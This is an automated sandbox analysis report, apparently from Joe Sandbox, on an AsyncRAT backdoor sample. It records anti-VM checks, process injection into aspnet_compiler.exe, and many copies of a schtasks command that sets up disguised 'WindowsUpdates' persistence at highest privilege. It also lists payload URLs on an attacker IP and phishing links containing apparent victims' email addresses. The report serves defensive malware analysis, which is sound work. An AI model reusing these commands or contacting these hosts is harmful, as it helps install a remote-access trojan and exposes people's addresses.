Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Thread delayed: delay time: 98574	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Thread delayed: delay time: 98469	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Thread delayed: delay time: 98359	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Thread delayed: delay time: 98250	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Thread delayed: delay time: 98141	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Thread delayed: delay time: 98030	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Thread delayed: delay time: 97922	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Thread delayed: delay time: 97813	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Thread delayed: delay time: 97703	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Thread delayed: delay time: 97594	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Thread delayed: delay time: 97484	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Thread delayed: delay time: 597345	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: EGSh5caf8a.exe, 00000000.00000002.1314795117.00000000028DA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vmware
Source: EGSh5caf8a.exe, 00000000.00000002.1313648558.0000000000AED000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\Desktop\EGSh5caf8a.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Enables debug privileges

Source: C:\Users\user\Desktop\EGSh5caf8a.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\Desktop\EGSh5caf8a.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Allocates memory in foreign processes

Source: C:\Users\user\Desktop\EGSh5caf8a.exe

Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe base: 400000 protect: page execute and read and write

Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\EGSh5caf8a.exe

Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe base: 400000 value starts with: 4D5A

Jump to behavior

Writes to foreign memory regions

Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe base: 400000	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe base: 402000	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe base: 40E000	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe base: 410000	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe base: 886008	Jump to behavior

Creates a process in suspended mode (likely to inject code)

Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "SCHtAsKs.EXe" /create /tn WindowsUpdates797722446 /tr "C:\Users\user\AppData\Roaming\MicrosoftwindowsUpdates\Accounts_Ledger_Software.eXE" /st 11:38 /du 9999:59 /sc daily /ri 1 /f /RL HIGHEST	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "SCHtAsKs.EXe" /create /tn WindowsUpdates797722446 /tr "C:\Users\user\AppData\Roaming\MicrosoftwindowsUpdates\Accounts_Ledger_Software.eXE" /st 11:38 /du 9999:59 /sc daily /ri 1 /f /RL HIGHEST	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "SCHtAsKs.EXe" /create /tn WindowsUpdates797722446 /tr "C:\Users\user\AppData\Roaming\MicrosoftwindowsUpdates\Accounts_Ledger_Software.eXE" /st 11:39 /du 9999:59 /sc daily /ri 1 /f /RL HIGHEST	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "SCHtAsKs.EXe" /create /tn WindowsUpdates797722446 /tr "C:\Users\user\AppData\Roaming\MicrosoftwindowsUpdates\Accounts_Ledger_Software.eXE" /st 11:40 /du 9999:59 /sc daily /ri 1 /f /RL HIGHEST	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "SCHtAsKs.EXe" /create /tn WindowsUpdates797722446 /tr "C:\Users\user\AppData\Roaming\MicrosoftwindowsUpdates\Accounts_Ledger_Software.eXE" /st 11:41 /du 9999:59 /sc daily /ri 1 /f /RL HIGHEST	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "SCHtAsKs.EXe" /create /tn WindowsUpdates797722446 /tr "C:\Users\user\AppData\Roaming\MicrosoftwindowsUpdates\Accounts_Ledger_Software.eXE" /st 11:42 /du 9999:59 /sc daily /ri 1 /f /RL HIGHEST	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "SCHtAsKs.EXe" /create /tn WindowsUpdates797722446 /tr "C:\Users\user\AppData\Roaming\MicrosoftwindowsUpdates\Accounts_Ledger_Software.eXE" /st 11:43 /du 9999:59 /sc daily /ri 1 /f /RL HIGHEST	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "SCHtAsKs.EXe" /create /tn WindowsUpdates797722446 /tr "C:\Users\user\AppData\Roaming\MicrosoftwindowsUpdates\Accounts_Ledger_Software.eXE" /st 11:43 /du 9999:59 /sc daily /ri 1 /f /RL HIGHEST	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "SCHtAsKs.EXe" /create /tn WindowsUpdates797722446 /tr "C:\Users\user\AppData\Roaming\MicrosoftwindowsUpdates\Accounts_Ledger_Software.eXE" /st 11:44 /du 9999:59 /sc daily /ri 1 /f /RL HIGHEST	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "SCHtAsKs.EXe" /create /tn WindowsUpdates797722446 /tr "C:\Users\user\AppData\Roaming\MicrosoftwindowsUpdates\Accounts_Ledger_Software.eXE" /st 11:45 /du 9999:59 /sc daily /ri 1 /f /RL HIGHEST	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "SCHtAsKs.EXe" /create /tn WindowsUpdates797722446 /tr "C:\Users\user\AppData\Roaming\MicrosoftwindowsUpdates\Accounts_Ledger_Software.eXE" /st 11:46 /du 9999:59 /sc daily /ri 1 /f /RL HIGHEST	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "SCHtAsKs.EXe" /create /tn WindowsUpdates797722446 /tr "C:\Users\user\AppData\Roaming\MicrosoftwindowsUpdates\Accounts_Ledger_Software.eXE" /st 11:47 /du 9999:59 /sc daily /ri 1 /f /RL HIGHEST	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "SCHtAsKs.EXe" /create /tn WindowsUpdates797722446 /tr "C:\Users\user\AppData\Roaming\MicrosoftwindowsUpdates\Accounts_Ledger_Software.eXE" /st 11:48 /du 9999:59 /sc daily /ri 1 /f /RL HIGHEST	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "SCHtAsKs.EXe" /create /tn WindowsUpdates797722446 /tr "C:\Users\user\AppData\Roaming\MicrosoftwindowsUpdates\Accounts_Ledger_Software.eXE" /st 11:48 /du 9999:59 /sc daily /ri 1 /f /RL HIGHEST	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "SCHtAsKs.EXe" /create /tn WindowsUpdates797722446 /tr "C:\Users\user\AppData\Roaming\MicrosoftwindowsUpdates\Accounts_Ledger_Software.eXE" /st 11:49 /du 9999:59 /sc daily /ri 1 /f /RL HIGHEST	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "SCHtAsKs.EXe" /create /tn WindowsUpdates797722446 /tr "C:\Users\user\AppData\Roaming\MicrosoftwindowsUpdates\Accounts_Ledger_Software.eXE" /st 11:50 /du 9999:59 /sc daily /ri 1 /f /RL HIGHEST	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "SCHtAsKs.EXe" /create /tn WindowsUpdates797722446 /tr "C:\Users\user\AppData\Roaming\MicrosoftwindowsUpdates\Accounts_Ledger_Software.eXE" /st 11:51 /du 9999:59 /sc daily /ri 1 /f /RL HIGHEST	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "SCHtAsKs.EXe" /create /tn WindowsUpdates797722446 /tr "C:\Users\user\AppData\Roaming\MicrosoftwindowsUpdates\Accounts_Ledger_Software.eXE" /st 11:52 /du 9999:59 /sc daily /ri 1 /f /RL HIGHEST	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "SCHtAsKs.EXe" /create /tn WindowsUpdates797722446 /tr "C:\Users\user\AppData\Roaming\MicrosoftwindowsUpdates\Accounts_Ledger_Software.eXE" /st 11:53 /du 9999:59 /sc daily /ri 1 /f /RL HIGHEST	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "SCHtAsKs.EXe" /create /tn WindowsUpdates797722446 /tr "C:\Users\user\AppData\Roaming\MicrosoftwindowsUpdates\Accounts_Ledger_Software.eXE" /st 11:55 /du 9999:59 /sc daily /ri 1 /f /RL HIGHEST	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "SCHtAsKs.EXe" /create /tn WindowsUpdates797722446 /tr "C:\Users\user\AppData\Roaming\MicrosoftwindowsUpdates\Accounts_Ledger_Software.eXE" /st 11:56 /du 9999:59 /sc daily /ri 1 /f /RL HIGHEST	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "SCHtAsKs.EXe" /create /tn WindowsUpdates797722446 /tr "C:\Users\user\AppData\Roaming\MicrosoftwindowsUpdates\Accounts_Ledger_Software.eXE" /st 11:57 /du 9999:59 /sc daily /ri 1 /f /RL HIGHEST	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "SCHtAsKs.EXe" /create /tn WindowsUpdates797722446 /tr "C:\Users\user\AppData\Roaming\MicrosoftwindowsUpdates\Accounts_Ledger_Software.eXE" /st 12:01 /du 9999:59 /sc daily /ri 1 /f /RL HIGHEST	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "SCHtAsKs.EXe" /create /tn WindowsUpdates797722446 /tr "C:\Users\user\AppData\Roaming\MicrosoftwindowsUpdates\Accounts_Ledger_Software.eXE" /st 12:07 /du 9999:59 /sc daily /ri 1 /f /RL HIGHEST	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "SCHtAsKs.EXe" /create /tn WindowsUpdates797722446 /tr "C:\Users\user\AppData\Roaming\MicrosoftwindowsUpdates\Accounts_Ledger_Software.eXE" /st 12:13 /du 9999:59 /sc daily /ri 1 /f /RL HIGHEST	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "SCHtAsKs.EXe" /create /tn WindowsUpdates797722446 /tr "C:\Users\user\AppData\Roaming\MicrosoftwindowsUpdates\Accounts_Ledger_Software.eXE" /st 12:17 /du 9999:59 /sc daily /ri 1 /f /RL HIGHEST	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "SCHtAsKs.EXe" /create /tn WindowsUpdates797722446 /tr "C:\Users\user\AppData\Roaming\MicrosoftwindowsUpdates\Accounts_Ledger_Software.eXE" /st 12:21 /du 9999:59 /sc daily /ri 1 /f /RL HIGHEST	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "SCHtAsKs.EXe" /create /tn WindowsUpdates797722446 /tr "C:\Users\user\AppData\Roaming\MicrosoftwindowsUpdates\Accounts_Ledger_Software.eXE" /st 12:25 /du 9999:59 /sc daily /ri 1 /f /RL HIGHEST	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Process created: unknown unknown	Jump to behavior

Language, Device and Operating System Detection

Queries the volume information (name, serial number etc) of a device

Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Queries volume information: C:\Users\user\Desktop\EGSh5caf8a.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\EGSh5caf8a.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Yara detected AsyncRAT

Source: Yara match	File source: 0.2.EGSh5caf8a.exe.28dc200.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.EGSh5caf8a.exe.28dc200.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1314795117.0000000002C4A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1314795117.00000000028DA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: EGSh5caf8a.exe PID: 180, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Scheduled Task/Job	2 Scheduled Task/Job	311 Process Injection	1 Masquerading	OS Credential Dumping	21 Security Software Discovery	Remote Services	1 Archive Collected Data	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 DLL Side-Loading	2 Scheduled Task/Job	1 Disable or Modify Tools	LSASS Memory	1 Process Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	31 Virtualization/Sandbox Evasion	Security Account Manager	31 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	311 Process Injection	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	1 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	111 Obfuscated Files or Information	LSA Secrets	12 System Information Discovery	SSH	Keylogging	1 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Software Packing	Cached Domain Credentials	Wi-Fi Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Timestomp	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
EGSh5caf8a.exe	50%	ReversingLabs	Win32.Backdoor.AsyncRAT
EGSh5caf8a.exe	54%	Virustotal		Browse

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Roaming\MicrosoftwindowsUpdates\Accounts_Ledger_Software.eXE	50%	ReversingLabs	Win32.Backdoor.AsyncRAT
C:\Users\user\AppData\Roaming\MicrosoftwindowsUpdates\Accounts_Ledger_Software.eXE	54%	Virustotal		Browse

Source	Detection	Scanner	Label	Link
http://crl.sectigo.com/SectigoRSATimeStampingCA.crl0t	0%	URL Reputation	safe
http://crl.sectigo.com/SectigoRSATimeStampingCA.crl0t	0%	URL Reputation	safe
https://sectigo.com/CPS0	0%	URL Reputation	safe
http://schemas.m	0%	URL Reputation	safe
http://crl.sectigo.com/SectigoPublicCodeSigningCAR36.crl0y	0%	URL Reputation	safe
http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0	0%	URL Reputation	safe
http://ocsp.sectigo.com0	0%	URL Reputation	safe
http://crt.sectigo.com/SectigoRSATimeStampingCA.crt0#	0%	URL Reputation	safe
http://crt.sectigo.com/SectigoPublicCodeSigningCAR36.crt0#	0%	URL Reputation	safe
http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#	0%	URL Reputation	safe
http://204.12.199.30:20991/async.txt	2%	Virustotal		Browse
http://204.12.199.30:20991/hatthgola.vmp.dll	1%	Virustotal		Browse
http://204.12.199.30:20991	0%	Virustotal		Browse
http://204.12.199.30:20991/hatthgola.vmp.dllC:	1%	Virustotal		Browse

Name	Malicious	Antivirus Detection	Reputation
http://204.12.199.30:20991/async.txt	true	2%, Virustotal, Browse	unknown
http://204.12.199.30:20991/hatthgola.vmp.dll	true	1%, Virustotal, Browse	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://crl.sectigo.com/SectigoRSATimeStampingCA.crl0t	EGSh5caf8a.exe, Accounts_Ledger_Software.eXE.0.dr	false	URL Reputation: safe URL Reputation: safe	unknown
https://sectigo.com/CPS0	EGSh5caf8a.exe, Accounts_Ledger_Software.eXE.0.dr	false	URL Reputation: safe	unknown
http://schemas.m	schtasks.exe, 00000004.00000002.1218984003.0000000002FF8000.00000004.00000020.00020000.00000000.sdmp, schtasks.exe, 00000022.00000002.1258049891.00000000030C8000.00000004.00000020.00020000.00000000.sdmp, schtasks.exe, 0000003A.00000002.1281197103.00000000032F8000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://crl.sectigo.com/SectigoPublicCodeSigningCAR36.crl0y	EGSh5caf8a.exe, Accounts_Ledger_Software.eXE.0.dr	false	URL Reputation: safe	unknown
http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0	EGSh5caf8a.exe, Accounts_Ledger_Software.eXE.0.dr	false	URL Reputation: safe	unknown
http://ocsp.sectigo.com0	EGSh5caf8a.exe, Accounts_Ledger_Software.eXE.0.dr	false	URL Reputation: safe	unknown
http://crt.sectigo.com/SectigoRSATimeStampingCA.crt0#	EGSh5caf8a.exe, Accounts_Ledger_Software.eXE.0.dr	false	URL Reputation: safe	unknown
http://crt.sectigo.com/SectigoPublicCodeSigningCAR36.crt0#	EGSh5caf8a.exe, Accounts_Ledger_Software.eXE.0.dr	false	URL Reputation: safe	unknown
http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#	EGSh5caf8a.exe, Accounts_Ledger_Software.eXE.0.dr	false	URL Reputation: safe	unknown
http://204.12.199.30:20991/hatthgola.vmp.dllC:	Accounts_Ledger_Software.eXE.0.dr	false	1%, Virustotal, Browse	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	EGSh5caf8a.exe, 00000000.00000002.1314795117.0000000002891000.00000004.00000800.00020000.00000000.sdmp	false		high
http://204.12.199.30:20991	EGSh5caf8a.exe, 00000000.00000002.1314795117.0000000002891000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
http://schemas.microH	schtasks.exe, 00000024.00000002.1260760619.0000000002A0B000.00000004.00000020.00020000.00000000.sdmp	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
204.12.199.30	unknown	United States		32097	WIIUS	true

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1428675
Start date and time:	2024-04-19 11:36:10 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 42s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	70
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	EGSh5caf8a.exe renamed because original name is a hash value
Original Sample Name:	712940BAEF78C821E36B8701BF073C52.exe
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@100/3@0/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 99% Number of executed functions: 18 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, SgrmBroker.exe, MoUsoCoreWorker.exe, svchost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, time.windows.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.

Simulations

Behavior and APIs

Time	Type	Description
11:37:00	API Interceptor	72x Sleep call for process: EGSh5caf8a.exe modified
11:37:02	Task Scheduler	Run new task: WindowsUpdates797722446 path: C:\Users\user\AppData\Roaming\MicrosoftwindowsUpdates\Accounts_Ledger_Software.eXE

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WIIUS	https://held-messages.dariscompany.com/rich.hillyer@dish.com/held-messages	Get hash	malicious	HTMLPhisher	Browse	173.208.137.67
	March 03-31-2024 statement.vbs	Get hash	malicious	Remcos, GuLoader	Browse	69.30.224.166
	Benefits_Enrollment.htm	Get hash	malicious	Unknown	Browse	173.208.137.67
	WxShqWep4r.exe	Get hash	malicious	Remcos	Browse	69.30.198.237
	PO881620-2024.doc	Get hash	malicious	Remcos	Browse	69.30.198.237
	kn328E7C2B.exe	Get hash	malicious	LummaC, Glupteba, LummaC Stealer, SmokeLoader, Stealc	Browse	173.208.242.178
	https://nmefiu.aquarius-care.com/daniel.almodovar@aarcorp.com	Get hash	malicious	Unknown	Browse	173.208.137.67
	Omkyhy25l0.elf	Get hash	malicious	Mirai	Browse	173.208.146.178
	REijs2IfuB.elf	Get hash	malicious	Gafgyt	Browse	69.197.134.194
	jdY5ClnBFK.elf	Get hash	malicious	Gafgyt	Browse	69.197.134.194

Process:	C:\Users\user\Desktop\EGSh5caf8a.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1250
Entropy (8bit):	5.364365621440192
Encrypted:	false
SSDEEP:	24:MLUE4K5E4KlKDE4KhKiKhwE4Ty1KIE4oKNzKoZAE4Kzer84j:MIHK5HKlYHKh3owH8tHo6hAHKzervj
MD5:	ABF1CD151DCDEFA700E06EDBE67FA31C
SHA1:	9DCB86A4FC92FFBCDF0B739CB049FED673116123
SHA-256:	37C3377F04DA54703DF63C69424E83AD9B9D2C666B19D579BAF85EBC494B5B6F
SHA-512:	4B7FD3754154DE1FD4A775439ECEB35EF579ED4BEFAC6D26CDBF769BC579FD98FACB53F72182CD8867478D31A4068896A0190B46CEB7AEA04E836CE093C3D94E
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Net.Http, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Net.Http\bb5812ab3cec92427da8c5c696e5f731\System.Net.Http.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neu

C:\Users\user\AppData\Roaming\MicrosoftwindowsUpdates\Accounts_Ledger_Software.eXE

Download File

Process:	C:\Users\user\Desktop\EGSh5caf8a.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	93896
Entropy (8bit):	6.397214733539755
Encrypted:	false
SSDEEP:	1536:qoJFOWbLXbbetrgpFZ2nrWLtyEclopV4c78eiV:zFOWbLLbetrgQn6BpVD34
MD5:	712940BAEF78C821E36B8701BF073C52
SHA1:	D59896B87424FAFC0D00AB5E5C2019BD941167CE
SHA-256:	08F8498AEC75418BB4C12972A6547EE2C4762160E7BF36C558A91B7B9110ED3F
SHA-512:	68BC6DF413E00E6420EE6DB6E4D0497BAB61908B96F48FDB6BF6AAE9BED72DE840D83DFC0017DD24995A05F29B415B82852F84E9B74DE85D303B67CC396C7007
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 50% Antivirus: Virustotal, Detection: 54%, Browse
